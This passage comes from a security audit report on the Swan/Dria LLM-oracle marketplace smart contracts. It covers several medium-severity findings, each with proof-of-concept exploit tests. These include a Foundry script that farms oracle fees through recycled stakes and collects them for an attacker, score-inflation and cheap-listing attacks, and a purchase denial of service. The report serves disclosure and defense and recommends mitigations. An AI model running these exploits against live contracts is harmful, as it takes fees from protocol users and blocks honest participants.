        // #### Attacker submitting mock responds to get fees ###
        address attacker = makeAddr("attacker");

        // airdroping the initial stake amount for an address to register as an oracle
        deal(address(dria), attacker, generatorStakeAmount);

        // attacker transfers the stake amount to the first mockGenerator
        vm.prank(attacker);
        dria.transfer(
            makeAddr(string(abi.encodePacked("mockGenerator", vm.toString(uint256(0))))),
            ↪ generatorStakeAmount
        );

        // attacker mocks multiple responds
        for (uint256 i = 0; i < numGenerations; i++) {
            address mockGenerator = makeAddr(string(abi.encodePacked("mockGenerator", vm.toString(i))));

            // register the mockGenerator as generator
            vm.startPrank(mockGenerator);
            dria.approve(address(registry), generatorStakeAmount);
            registry.register(LLMOracleKind.Generator);
            vm.stopPrank();

            // mockGenerator submits a random response to get the respond fee
            vm.startPrank(mockGenerator);
            coordinator.respond(
                1,
                getValidNonce(1, input, address(agent), mockGenerator),
                bytes("Random output"),
                bytes("Random metadata")
            );
            vm.stopPrank();

            // unregister the mockGenerator and get the stake amount
```

```
        vm.prank(mockGenerator);
        registry.unregister(LLMOracleKind.Generator);

        if (i == numGenerations - 1) {
            // if it's the last iteration, send the stake amount to the first mockGenerator
            address firstMockValidator =
                makeAddr(string(abi.encodePacked("mockValidator", vm.toString(uint256(0)))));
            vm.prank(mockGenerator);
            dria.transferFrom(address(registry), firstMockValidator, generatorStakeAmount);
        } else {
            // if it's not the last iteration, send the stake amount to the next mockGenerator
            address nextMockGenerator = makeAddr(string(abi.encodePacked("mockGenerator",
            ↪  vm.toString(i + 1))));
            vm.prank(mockGenerator);
            dria.transferFrom(address(registry), nextMockGenerator, generatorStakeAmount);
        }
    }

    // attacker mocks multiple validations
    for (uint256 i = 0; i < numValidations; i++) {
        address mockValidator = makeAddr(string(abi.encodePacked("mockValidator", vm.toString(i))));

        // register the mockValidator as validator
        vm.startPrank(mockValidator);
        dria.approve(address(registry), validatorStakeAmount);
        registry.register(LLMOracleKind.Validator);
        vm.stopPrank();

        // mockValidator submits random scores to get the validation fee
        vm.startPrank(mockValidator);
        uint256[] memory scores = new uint256[]();
        coordinator.validate(
            1, getValidNonce(1, input, address(agent), mockValidator), scores, bytes("Random
            ↪  metadata")
        );
        vm.stopPrank();

        // unregister the mockValidator and get the stake amount
        vm.prank(mockValidator);
        registry.unregister(LLMOracleKind.Validator);

        if (i == numValidations - 1) {
            // if it's the last iteration, send the stake amount to the attacker
            vm.prank(mockValidator);
            dria.transferFrom(address(registry), attacker, validatorStakeAmount);
        } else {
            // if it's not the last iteration, send the stake amount to the next mockValidator
            address nextMockValidator = makeAddr(string(abi.encodePacked("mockValidator",
            ↪  vm.toString(i + 1))));
            vm.prank(mockValidator);
            dria.transferFrom(address(registry), nextMockValidator, validatorStakeAmount);
        }
    }

    // attacker gathering all funds
    for (uint256 i = 0; i < numGenerations; i++) {
        address mockGenerator = makeAddr(string(abi.encodePacked("mockGenerator", vm.toString(i))));

        // mockGenerator sends his generationFee to the attacker
        vm.startPrank(mockGenerator);
        dria.transferFrom(address(coordinator), attacker, dria.allowance(address(coordinator),
        ↪  mockGenerator));
```

```
            vm.stopPrank();

            address mockValidator = makeAddr(string(abi.encodePacked("mockValidator", vm.toString(i))));

            // mockValidator sends his validationFee to the attacker
            vm.startPrank(mockValidator);
            dria.transferFrom(address(coordinator), attacker, dria.allowance(address(coordinator),
            ↪  mockValidator));
            vm.stopPrank();
        }

        console.log("Attacker balance :", dria.balanceOf(attacker));
    }

    function getValidNonce(uint256 taskId, bytes memory input, address requester, address sender)
        private
        view
        returns (uint256 nonce)
    {
        bytes memory message;
        do {
            nonce++;
            message = abi.encodePacked(taskId, input, requester, sender, nonce);
        } while (uint256(keccak256(message)) > type(uint256).max >> uint256(difficulty));
    }
}
```

Tools Used

Manual Review, Foundry

Recommended Mitigation

Introduce a locking mechanism that will prohibit validators and generators from unregistering while a request they responded/validated hasn't been finalized. Furthermore, the generators/validators of the `LLMOracleRegistry` could be registered by a whitelist. Finally, a long-term solution would be to introduce a slashing mechanism for misbehaving generators/validators.

7.2.3 M-03. Unrestricted validation score range for validators in `LLMOracleCoordinator::validate`.

Submitted by aksoy, Sickurity, safdie, 0xtheblackpanther, 0xbeastboy, 0xrolko, gaurav11018, skid0016, danzero, 0xnbvc, anonymousjoe, pyro, zxriptor, saurabh_singh, 0xdemon, tejaswarambhe, drynooo, v1vah0us3, aestheticbhai, abhishekthakur, goran, Gladiators, m4k2xmk, alqaqa, waydou, j1v9, emmanuel, y0ng0p3. Selected submission by: v1vah0us3.

Summary

The `validate` functions lack restrictions on the range of scores that validators can submit. This omission allows validators to submit arbitrary scores, which can disproportionately skew mean and standard deviation calculations. As a result, reward distributions can become biased, disproportionately benefiting validators who submit outlier scores.

Description

Within the `validate` function, validators can submit an array of scores without any restriction on maximum allowable values. These scores are then used to compute mean and standard deviation values using `Statistics.stddev` in the `finalizeValidation` function. In the next step the "inner mean" is calculated by including only scores within one standard deviation of the mean, rewarding validators who fall within this range, see [https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L343-L348].

Without a maximum score constraint, the validation process is susceptible to skewed statistics due to outlier scores. Validators submitting extremely high values can inflate both the mean and standard deviation, affecting the inner mean calculations and global threshold. This bias risks excluding validators with normal scores from rewards, and creates potential for reward distribution manipulation.

Within `finalizeValidation`, this section performs the filtering based on mean and stddev:

```
    for (uint256 v_i = 0; v_i < task.parameters.numValidations; ++v_i) {
        uint256 score = scores[v_i];
@>        if ((score >= _mean - _stddev) && (score <= _mean + _stddev)) {
            innerSum += score;
            innerCount++;

            _increaseAllowance(validations[taskId][v_i].validator, task.validatorFee);
        }
    }
```

This code block only includes scores that are within one standard deviation of the mean `(_mean ± _stddev)` to participate in the "inner mean" calculation. This can result in valid scores being excluded and validators not receiving a validator fee.

Exploit Scenario

Suppose a subset of validators submits arbitrarily high scores, for instance, in the range of 100 to 150, while the majority of validators submit scores in a "normal" range, like 0 to 5. The presence of high scores inflates both `_mean` and `_stddev`. For example, lets assume that `scores[]` array in `LLMOracleCoordinator::finalizeValidation` (see [https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L331]) contains 5 values, e.g. `[130,3,140,4,120]`. Introducing arbitrarily high scores will drive up the `_mean` significantly. The `_stddev` will similarly increase, reflecting the variance introduced by these high values. For the given array values `[130,3,140,4,120]`, both `_mean` and `_stddev` can be quickly calculated using the fixed version of the `Statistics` library in Remix. Here are the results:

```
decoded input   {
    "uint256[] data": [
        "130",
        "3",
        "140",
        "4",
        "120"
    ]
}
decoded output  {
    "0": "uint256: ans 62",
    "1": "uint256: mean 79"
}
```

This example illustrates that due to the inflated `_mean` and `_stddev`, the range `(_mean - _stddev) && (_mean + _stddev)` no longer covers the lower "normal" scores (like those in the range 0-5). This would mean that only scores closer to the inflated mean would satisfy the condition `(score >= _mean - _stddev) && (score <= _mean + _stddev)`. As a result, validators with normal scores (0-5) are effectively excluded from validator rewards because their scores fall outside the newly skewed range. This behavior enables "dishonest" validators to effectively eliminate the competition, resulting in only the inflated scores being rewarded.

#Proof of Code

For the proof of concept we will stick to the score values, similar to those in `LLMOracleCoordinator.test.ts`. Here is the test case and setup, please paste it into the `LLMOracleCoordinator.test.ts` file and adjust the `this.beforeAll(async function ())` section with additional validators, like this:

```
// Add validators to the setUp
this.beforeAll(async function () {
```

```
    // assign roles, full = oracle that can do both generation & validation
    const [deployer, dum, req1, gen1, gen2, gen3, gen4, gen5, val1, val2, val3, val4, val5] = await
    ↪  ethers.getSigners();
    dria = deployer;
    requester = req1;
    dummy = dum;
    generators = [gen1, gen2, gen3, gen4, gen5];
    validators = [val1, val2, val3, val4, val5];

    ...........
    ...........
    ...........

// Test unfair reward distribution
describe("reward distribution", function () {
    const [numGenerations, numValidations] = [1, 5];
    const scores = [
        parseEther("100"), // high score
        parseEther("0.8"),
        parseEther("120"), // high score
        parseEther("0.4"),
        parseEther("120")  // high score
    ];
    let generatorAllowancesBefore: bigint[];
    let validatorAllowancesBefore: bigint[];

    this.beforeAll(async () => {
        taskId++;

        generatorAllowancesBefore = await Promise.all(
            generators.map((g) => token.allowance(coordinatorAddress, g.address))
        );
        validatorAllowancesBefore = await Promise.all(
            validators.map((v) => token.allowance(coordinatorAddress, v.address))
        );
    });

    it("should make a request", async function () {
        await safeRequest(coordinator, token, requester, taskId, input, models, {
            difficulty,
            numGenerations,
            numValidations,
        });
    });

    it("should respond to each generation", async function () {
        const availableGenerators = generators.length;
        const generationsToRespond = Math.min(numGenerations, availableGenerators);

        expect(availableGenerators).to.be.at.least(generationsToRespond);

        for (let i = 0; i < generationsToRespond; i++) {
            await safeRespond(coordinator, generators[i], output, metadata, taskId, BigInt(i));
        }
    });


    it("should validate with varied scores, finalize validation, and distribute rewards correctly",
    ↪  async function () {
      const requestBefore = await coordinator.requests(taskId);
      console.log(`Request status before validation: ${requestBefore.status}`);
```

```
    // Check the initial status to ensure the task is ready for validation
    const initialStatus = BigInt(TaskStatus.PendingValidation);
    expect(requestBefore.status).to.equal(initialStatus, "Task is not in PendingValidation state
    ↪  initially.");

    for (let i = 0; i < numValidations; i++) {
        console.log(`Validating with validator at index ${i} with address: ${validators[i].address}`);
        console.log(`Score being used: ${scores[i].toString()}, Task ID: ${taskId}`);

        const currentStatus = BigInt((await coordinator.requests(taskId)).status);

        if (currentStatus !== initialStatus) {
            console.error(`Aborting: Unexpected task status ${currentStatus} before validation at
            ↪  index ${i}`);
            break;
        }

        try {
            await safeValidate(coordinator, validators[i], [scores[i]], metadata, taskId, BigInt(i));
            console.log(`Validation succeeded for validator at index ${i}`);
        } catch (error: any) {
            console.error(`Validation failed for validator at index ${i}: ${error.message}`);
        }
    }

    // Final status check to confirm the task is completed
    const finalRequest = await coordinator.requests(taskId);
    console.log(`Request status after all validations: ${finalRequest.status}`);
    expect(finalRequest.status).to.equal(BigInt(TaskStatus.Completed), "Task did not reach Completed
    ↪  status after all validations");

    // Check validators' reward allowances after validations
    const validatorAllowancesAfter = await Promise.all(
        validators.map((v) => token.allowance(coordinatorAddress, v.address))
    );

    // Expected outcome: validators 0, 2, 4 receive rewards, 1 and 3 do not
    const expectedRewards = [0, 2, 4]; // Indices expected to have rewards
    const noRewardValidators = [1, 3]; // Indices expected not to receive rewards

    for (let i = 0; i < numValidations; i++) {
        const rewardDifference = validatorAllowancesAfter[i] - validatorAllowancesBefore[i];
        console.log(`Validator ${i} reward: ${rewardDifference.toString()}`);

        if (expectedRewards.includes(i)) {
            // These validators should receive a reward
            expect(rewardDifference).to.be.gt(0n, `Validator ${i} was expected to receive a reward but
            ↪  got none`);
            console.log(`Validator ${i} received reward as expected.`);
        } else if (noRewardValidators.includes(i)) {
            // These validators should not receive a reward
            expect(rewardDifference).to.equal(0n, `Validator ${i} was not expected to receive a reward
            ↪  but did`);
            console.log(`Validator ${i} correctly received no reward.`);
        }
    }
  });
});
```

The test can be run with `yarn test ./test/LLMOracleCoordinator.test.ts`. Here are the logs:

```
Validator 0 reward: 2400000000000000
```

```
Validator 0 received reward as expected.
Validator 1 reward: 0
Validator 1 correctly received no reward.
Validator 2 reward: 2400000000000000
Validator 2 received reward as expected.
Validator 3 reward: 0
Validator 3 correctly received no reward.
Validator 4 reward: 2400000000000000
Validator 4 received reward as expected.
```

As you can see from the error logs, the validators with scores of `0.8` and `0.4` didn't get the rewards because they used a different scoring range than the other 3 validators.

Severity

Validators submitting outlier scores (e.g., in the range of 100–200) can disproportionately influence the validation mean and standard deviation, skewing the calculated range for validator reward eligibility. As a result, other, more representative scores (e.g., in the range of 0–5) are excluded from validator rewards. This manipulation can lead to honest validators being unfairly denied rewards.

Tools Used

Manual review, Remix, Hardhat

Recommendations

To prevent manipulation through extreme score outliers, consider introducing a configurable `maxScore` parameter within the `TaskRequest` or `TaskResponse` struct to enforce a maximum allowable score range. By setting a limit, validators' scores are restricted to a reasonable threshold, preventing inflated values from disproportionately affecting the mean and standard deviation calculations. This parameter should be checked within the `validate` function to ensure all scores stay within the acceptable range.

```
+   // Place this custom error at the top of the `LLMOracleCoordinator.sol` contract:
+   error ScoreOutOfRange(uint256 taskId, uint256 providedScore, uint256 maxScore);
.......
.......

function validate(uint256 taskId, uint256 nonce, uint256[] calldata scores, bytes calldata metadata)
        public
        onlyRegistered(LLMOracleKind.Validator)
        onlyAtStatus(taskId, TaskStatus.PendingValidation)
    {
        TaskRequest storage task = requests[taskId];

        // ensure there is a score for each generation
        if (scores.length != task.parameters.numGenerations) {
            revert InvalidValidation(taskId, msg.sender);
        }

+        uint256 maxScore = task.maxScore;
+        for (uint256 i = 0; i < scores.length; i++) {
+           if (scores[i] > maxScore) {
+               revert ScoreOutOfRange(taskId, scores[i], maxScore);
            }
        }
        ............
        ............
}
```

7.2.4 M-04. Users can list assets with price < 1 ERC20 (ETH, WETH), leading to potential DoS vulnerability.

Submitted by Sickurity, aksoy, foxb868, heavenz52, 0xbrett8571, safdie, ljj, auditweiler, mangocola, kodyvim, ericselvig, ChainDefenders, neilalois, helium, dimulski, mohammadx2049, 0xdemon, Valin Security Group, aestheticbhai, jiri123, pyro, anonymousjoe, sovaslava, kunwarsiddarths, galturok, 0xw3, merlin, 0xhals, tychaios, shui, theirrationalone, tejaswarambhe, unique0x0, 0xhacksmithh, falsegenius, Gladiators, carrotsmuggler, 0rpseqwe, emmanuel, johny7173, m4k2xmk, j1v9, 10ap17. Selected submission by: theirrationalone.

Summary

In `Swan.sol`, the `list` function allows users to create new assets with various parameters, including a price parameter that lacks a minimum value constraint. As a result, users can set any ERC20-compatible token (e.g., ETH, WETH) as the price, potentially even using extremely low values. Since some tokens may require a minimum value, users could set the price to a value of 1 rather than the standard ERC20 unit (1e18). Thus, the smallest amount greater than zero is used, bypassing intended costs.

`Swan::list` function:

```
  function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price,
  ↪  address _buyer)
-------------------------------------------------------------------------------------------------^
      external
  {
@>    // @info: Missing minimum price check.
      BuyerAgent buyer = BuyerAgent(_buyer);
      (uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();

      // Ensure the buyer is in the sell phase
      if (phase != BuyerAgent.Phase.Sell) {
          revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
      }
      // Ensure asset count does not exceed `maxAssetCount`
      if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
          revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
      }

      // All checks pass, create the asset and its listing
      address asset = address(swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender));
      listings[asset] = AssetListing({
          createdAt: block.timestamp,
          royaltyFee: buyer.royaltyFee(),
@>        price: _price,
          seller: msg.sender,
          status: AssetStatus.Listed,
          buyer: _buyer,
          round: round
      });

      // Add listing to buyer's list of assets for the round
      assetsPerBuyerRound[_buyer][round].push(asset);

      // Transfer royalties
      transferRoyalties(listings[asset]);

      emit AssetListed(msg.sender, asset, _price);
  }
```

`Swan::relist` function:

```
function relist(address _asset, address _buyer, uint256 _price) external {
-----------------------------------------------------------^
    // @info: missing zero price check
    AssetListing storage asset = listings[_asset];
```

```
    // only the seller can relist the asset
    if (asset.seller != msg.sender) {
        revert Unauthorized(msg.sender);
    }

    // asset must be listed
    if (asset.status != AssetStatus.Listed) {
        revert InvalidStatus(asset.status, AssetStatus.Listed);
    }

    // relist can only happen after the round of its listing has ended
    // we check this via the old buyer, that is the existing asset.buyer
    // @info: invalid natspec below
    // note that asset is unlisted here, but is not bought at all
    //
    // perhaps it suffices to check `==` here, since buyer round
    // is changed incrementially
    (uint256 oldRound,,) = BuyerAgent(asset.buyer).getRoundPhase();
    if (oldRound <= asset.round) {
        revert RoundNotFinished(_asset, asset.round);
    }

    // now we move on to the new buyer
    BuyerAgent buyer = BuyerAgent(_buyer);
    (uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();

    // buyer must be in sell phase
    if (phase != BuyerAgent.Phase.Sell) {
        revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
    }

    // buyer must not have more than `maxAssetCount` many assets
    uint256 count = assetsPerBuyerRound[_buyer][round].length;
    if (count >= getCurrentMarketParameters().maxAssetCount) {
        revert AssetLimitExceeded(count);
    }

    // create listing
    listings[_asset] = AssetListing({
        createdAt: block.timestamp,
        royaltyFee: buyer.royaltyFee(),
@>      price: _price,
        seller: msg.sender,
        status: AssetStatus.Listed,
        buyer: _buyer,
        round: round
    });

    // add this to list of listings for the buyer for this round
    assetsPerBuyerRound[_buyer][round].push(_asset);

    // transfer royalties
    transferRoyalties(listings[_asset]);

    emit AssetRelisted(msg.sender, _buyer, _asset, _price);
}
```

Due to previously discovered findings on `transferRoyalties` by Lightchaser, checks against zero amounts of fees help protect some price values, but this doesn't fully mitigate the issue.

Vulnerability

Malicious users can exploit the `list` function by setting the price to the minimum possible amount (e.g., 1 or 10) instead of the expected ERC20 unit (1e18 or 10e18). This enables bad actors to list multiple assets at virtually no cost, creating a denial-of-service (DoS) situation.

Since the market parameters, including `round`, `roundTime`, and `phase`, evolve with each listing, a malicious actor could monopolize a specific round by populating the list with their assets. Once the `maxAssetCount` is reached for that round, others would be unable to list new assets until the next parameter update. This exploitation can be repeated every round, impacting any buyer's listings.

Relevant `Swan::list` function code:

```
    // Ensure asset count does not exceed `maxAssetCount`
@>  if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
        revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
    }
```

Relevant `Swan::relist` function code:

```
    // Ensure asset count does not exceed `maxAssetCount`
    uint256 count = assetsPerBuyerRound[_buyer][round].length;
@>  if (count >= getCurrentMarketParameters().maxAssetCount) {
        revert AssetLimitExceeded(count);
    }
```

Proof of Code

1. Add the following test code to `Swan.test.ts` within the `Swan` test suite:

```
  describe("Swan Attack Mode", async () => {
    const currRound = 0n;
    it("should list 5 assets for the first round", async function () {
      await listAssets(
        swan,
        buyerAgent,
        [
          [seller, PRICE1],
          [seller, PRICE2],
          [seller, PRICE3],
          [sellerToRelist, PRICE2],
          [sellerToRelist, PRICE1],
        ],
        NAME,
        SYMBOL,
        DESC,
        0n
      );

      [assetToBuy, assetToRelist, assetToFail, ,] = await swan.getListedAssets(
        await buyerAgent.getAddress(),
        currRound
      );

      expect(await token.balanceOf(seller)).to.be.equal(FEE_AMOUNT1 + FEE_AMOUNT2);
      expect(await token.balanceOf(sellerToRelist)).to.be.equal(0);
    });

    it("should NOT allow listing more than max asset count", async function () {
      // Try to list an asset beyond the max asset count
      await expect(swan.connect(sellerToRelist).list(NAME, SYMBOL, DESC, PRICE1, await
      ↪  buyerAgent.getAddress()))
        .to.be.revertedWithCustomError(swan, "AssetLimitExceeded")
        .withArgs(MARKET_PARAMETERS.maxAssetCount);
    });
```

```
  it("Assets can be listed with a minimal price of 1 unit", async () => {
    let NEW_MARKET_PARAMETERS = {
      withdrawInterval: minutes(10),
      sellInterval: minutes(20),
      buyInterval: minutes(30),
      platformFee: 2n,
      maxAssetCount: 2n,
      timestamp: (await ethers.provider.getBlock("latest").then((block) => block?.timestamp)) as
      ↪  bigint,
    };

    await swan.connect(dria).setMarketParameters(NEW_MARKET_PARAMETERS);
    const PRICE = 1;  // Minimal unit

    // First asset listing in the same round
    await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress());

    // Second asset listing in the same round
    await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress());

    // Third asset listing should revert due to max count
    await expect(swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await
    ↪  buyerAgent.getAddress())).to.be.revertedWithCustomError(swan, "AssetLimitExceeded");
  });
});
```

1. Comment out all test cases following `Sell phase #1: listing` inclusively.
2. Run the following command to test:

```
yarn test --grep "Swan"
```

1. Check logs for gas usage results.

Severity

- Malicious actors can fill listings with their own assets until the `maxAssetCount` is reached, causing other users to experience a DoS.
- This DoS can be performed with minimal cost of only 1 or 10 greater than zero not 1e18 or 10e18 just 1 or 10. whose 100% is still greater than 0. So fees will not be zero.
- Low-cost asset creation risks overwhelming the protocol with a flood of assets, which could affect protocol performance.

Recommendations

1. Implement a check that verifies the `price` value is non-zero and considers ERC20 precision (e.g., 18 decimals).
2. Enforce a minimum listing price, potentially at least 1% of the ERC20 unit. For a “Free Asset Creation” feature, include logic to prevent spam and Sybil attacks if zero fees are allowed.

7.2.5 M-05. Update state requests or Purchase requests occurring at the end of the phase will not process

Submitted by ChainDefenders, gaurav11018, emmanuel, alqaqa, waydou, sovaslava. Selected submission by: alqaqa.

Description BuyerAgent can make two requests either `purchase` request or `StateUpdate` request.

First, he should make a `BuyerAgent::oraclePurchaseRequest()` request to buy all the items he needs, then call `BuyerAgent::purchase()` after His task gets completed by Oracle coordinator to buy the items he wants.

Then, in case of buying new items success he should make `BuyerAgent::oracleStateRequest()` to update his state after buying items, then call `BuyerAgent::updateState()` to change his state.

The problem here is that there is no check when `BuyerAgent::oraclePurchaseRequest()` or `BuyerAgent::oracleStateRequest()` get requested. There is just a check that enforces firing both of them on a given Phase.

We will explain the problem in the purchasing process, but it also existed in updating the state process.

When requesting to purchase items, we check that we are at a Round that is at Buy Phase, and when doing the actual purchase the Round should be the same as the Round we call `BuyerAgent::oraclePurchaseRequest()` as well as the phase should be `Buy`.

swan/BuyerAgent.sol#L189-L195 | swan/BuyerAgent.sol#L222-L230

```
    function oraclePurchaseRequest(bytes calldata _input, bytes calldata _models) external
    ↪  onlyAuthorized {
        // check that we are in the Buy phase, and return round
>>      (uint256 round,) = _checkRoundPhase(Phase.Buy);

>>      oraclePurchaseRequests[round] =
            swan.coordinator().request(SwanBuyerPurchaseOracleProtocol, _input, _models,
            ↪  swan.getOracleParameters());
    }
// -------------------
    function purchase() external onlyAuthorized {
        // check that we are in the Buy phase, and return round
>>      (uint256 round,) = _checkRoundPhase(Phase.Buy);

        // check if the task is already processed
        uint256 taskId = oraclePurchaseRequests[round];
>>      if (isOracleRequestProcessed[taskId]) {
            revert TaskAlreadyProcessed();
        }
    }
```

For `BuyerAgent::purchase()` to process, we should be at the same Round as well as at the Phas, which is `Buy` in that example, when we fired `BuyerAgent::oraclePurchaseRequest()`.

the flow is as follows:

1. BuyerAgent::oraclePurchaseRequest()
2. Generators will generate output in LLM Coordinator
3. Validators will validate in LLM Coordinator
4. Task marked as completed
5. BuyerAgent::purchase()

There is time will be taken for generators and validators to make the output (complete the task).

So if `BuyerAgent::oraclePurchaseRequest` gets fired before the end of `Buying` Phase with little time, this will make the Buy ends and enters `Withdraw` phase before Generators and Validaotrs Complete that task, resulting in losing Fees paid by the BuyerAgent when requesting the purchase request.

Proof of Code

- BuyerAgent wants to buy a given item
- His Round is `10` and we are at the Buy phase know
- The buying phase is about to end there is just one Hour left
- BuyerAgent Fired `BuyerAgent::oraclePurchaseRequest()`
- Fees got paid and we are waiting for the task to complete
- Generators and Validators took 6 Hours to complete this task
- Know, the BuyerAgent Round is `10` and the Phase is `Withdraw`
- calling `BuyerAgent::purchase()` will fail as we are not in the `Buy` Phase

The problem is that there is no time left for requesting and firing, if the request occur at the end of the Phase, finalizing the request either purach or update state will fail, as the phase will end.

We are doing Oracle and off-chain computations for the given task, and the time to finalize (complete) a task differs from one task to another according to difficulty.

There are three things here that make this problem occur.

1. If the Operator is not active, the `BuyerAgent` should call the request himself.
2. If Completing the Task process takes too much time, this can occur for Tasks that require a lot of validations, or difficulty is high
3. if there is a High Demand for a given request the Operator may finalize some of them at the end.

Recommendations Don't allow requests for all the phase ranges.

For example, In case we Have `7 days` for Buy phase, we should Stop requesting purchase requests at the end of `2 days` to not make requests occur at the last period of the phase resulting in an insolvable state if it gets completed after 2 days.

This is just an example. The period to stop requested should be determined according to the task itself (num of Generators/Validators needed and its difficulty).

7.2.6 M-06. BuyerAgent Batch Purchase Failure Due to Asset Transfer or Approval Revocation

Submitted by Sickurity, heavenz52, aksoy, ljj, robertodf99, zxriptor, jiri123, iampukar, elser17, sovaslava, merlin, mohammadx2049, 0xhals, pelz, tychaios, pyro, tigerfrake, icebear, ericselvig, abhishekthakur, emmanuel, j1v9, inh3l. Selected submission by: mohammadx2049.

BuyerAgent Batch Purchase Failure Due to Asset Transfer or Approval Revocation

Summary

The vulnerability allows a malicious seller to disrupt the purchase process of the BuyerAgent contract. This occurs when an asset that is supposed to be bought by the BuyerAgent is either transferred away or has its approval revoked, causing the entire batch purchase transaction to fail. As a result, the BuyerAgent becomes unable to complete the intended purchase of other assets, leading to a Denial of Service (DoS) scenario.

Vulnerability Details The vulnerability stems from the flow involving the BuyerAgent's interaction with the Swan contract for purchasing assets. The BuyerAgent first sends an `oraclePurchaseRequest` to gather the list of assets to be purchased, which is determined by an external oracle. Once the purchase list is available, the user calls `BuyerAgent::purchase` to buy the assets. During this phase, the BuyerAgent invokes `Swan::purchase` for each asset in the purchase list. https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/swan/BuyerAgent.sol?plain=1#L237-L252

Each asset listed for purchase creates an ERC721 token, where the seller is the owner of the respective tokenId. https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/swan/SwanAsset.sol?plain=1#L20-L43

The vulnerability is exposed when one of the ERC721 assets in the purchase list is transferred away from the seller to another user, or when the seller revokes the approval for Swan. Since the Swan contract requires the ownership of the asset to remain unchanged and the asset's approval to remain valid, the transfer or revocation leads to the failure of the `Swan::purchase` call. https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/swan/Swan.sol?plain=1#L294 Consequently, this failure causes `BuyerAgent::purchase` to revert, preventing the purchase of other assets listed in the transaction.

Attack Path

1. A malicious seller lists an asset on Swan for purchase.
2. The malicious seller either transfers the listed asset to another address or revokes Swan's approval before the `BuyerAgent::purchase` call is made by directly interact with asset contract.
3. The BuyerAgent includes the listed asset for purchase based on the oracle's recommendation. The BuyerAgent, oracle, or Swan contract are unaware of any transfer of ownership or revocation of approval events that might occur after the listing.
4. The BuyerAgent attempts to purchase the asset using `Swan::purchase`. However, due to the changed state (transfer or revoked approval), the call reverts.
5. This reversion causes the entire `BuyerAgent::purchase` transaction to fail, leading to a denial of service for other assets that were meant to be purchased.

Severity The impact of this vulnerability is significant as it allows a malicious seller to manipulate the behavior of the BuyerAgent contract, ultimately preventing it from purchasing other legitimate assets. This attack can be used to deceive buyers by causing failed transactions, even if those transactions involve assets from honest sellers. This vulnerability can be exploited repeatedly to create a denial of service, disrupting normal operations of the BuyerAgent and affecting market participants.

Tools Used

- Manual Review
- Hardhat for testing

Proof of Code Since `BuyerAgent::purchase` needs to get the list of assets from the oracle output and it's a bit complex to simulate that directly, I added a wrapper function to BuyerAgent to call `Swan::purchase` from BuyerAgent directly (and avoid signer issues from hardhat):

```
function swanPurchase(address _asset) external onlyAuthorized {
    swan.purchase(_asset);
}
```

This allows direct testing of individual asset purchases. you should add this function to `BuyerAgent` contract.

create new file in test directory:

```
// test/poc.test.ts
import { expect } from "chai";
import { ethers } from "hardhat";
import { Swan, BuyerAgent, ERC721 } from "../typechain-types";
import { deploySwanFixture, deployTokenFixture } from "./fixtures/deploy";
import { parseEther } from "ethers";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
import { transferTokens, listAssets, createBuyers } from "./helpers";
import { Phase } from "./types/enums";
import { time } from "@nomicfoundation/hardhat-toolbox/network-helpers";

/**
 * Test scenario:
 * - User lists an asset on Swan.
 * - User transfers the asset by interacting directly to asset contract before the BuyerAgent attempts
 ↪  to purchase it.
 * - BuyerAgent's purchase call should revert because the transfer cannot proceed.
```

```
 * - Add another asset, keep the approval intact, and prove that the purchase works.
 */
describe("BuyerAgent Purchase Revert Scenario", function () {
    let swan: Swan;
    let token: ERC20;
    let asset: ERC721;
    let secondAsset: ERC721;
    let buyerAgent: BuyerAgent;
    let seller: HardhatEthersSigner;
    let buyer: HardhatEthersSigner;
    let dummyUser: HardhatEthersSigner;

    const NAME = "SWAN_ASSET_NAME";
    const SYMBOL = "SWAT";
    const DESC = ethers.encodeBytes32String("description of the asset");
    const PRICE = parseEther("1");
    const AMOUNT_PER_ROUND = parseEther("2");
    const ROYALTY_FEE = 1;

    beforeEach(async function () {
        // Get signers (seller, buyer, and dummy user)
        [seller, buyer, dummyUser] = await ethers.getSigners();

        // Deploy the token contract and verify the seller's initial balance
        const supply = parseEther("1000");
        token = await deployTokenFixture(seller, supply);
        expect(await token.balanceOf(seller.address)).to.eq(supply);

        // Set up market parameters for the Swan contract deployment
        const MARKET_PARAMETERS = {
            withdrawInterval: 1800, // Withdraw interval: 30 minutes
            sellInterval: 3600, // Sell interval: 60 minutes
            buyInterval: 600, // Buy interval: 10 minutes
            platformFee: 1n,
            maxAssetCount: 5n,
            timestamp: 0n,
        };

        // Set up oracle parameters for Swan deployment
        const ORACLE_PARAMETERS = { difficulty: 1, numGenerations: 1, numValidations: 1 };
        const STAKES = { generatorStakeAmount: parseEther("0.01"), validatorStakeAmount:
        ↪  parseEther("0.01") };
        const FEES = { platformFee: 1n, generationFee: parseEther("0.02"), validationFee:
        ↪  parseEther("0.1") };

        // Deploy the Swan contract
        const { swan: deployedSwan } = await deploySwanFixture(
            seller,
            token,
            STAKES,
            FEES,
            MARKET_PARAMETERS,
            ORACLE_PARAMETERS
        );
        swan = deployedSwan;

        // Create a BuyerAgent for the buyer
        const buyerAgentParams = {
            name: "BuyerAgent#1",
            description: "Description of BuyerAgent 1",
            royaltyFee: ROYALTY_FEE,
            amountPerRound: AMOUNT_PER_ROUND,
```

```
        owner: buyer,
    };
    [buyerAgent] = await createBuyers(swan, [buyerAgentParams]);

    // Fund the BuyerAgent with tokens for purchasing assets
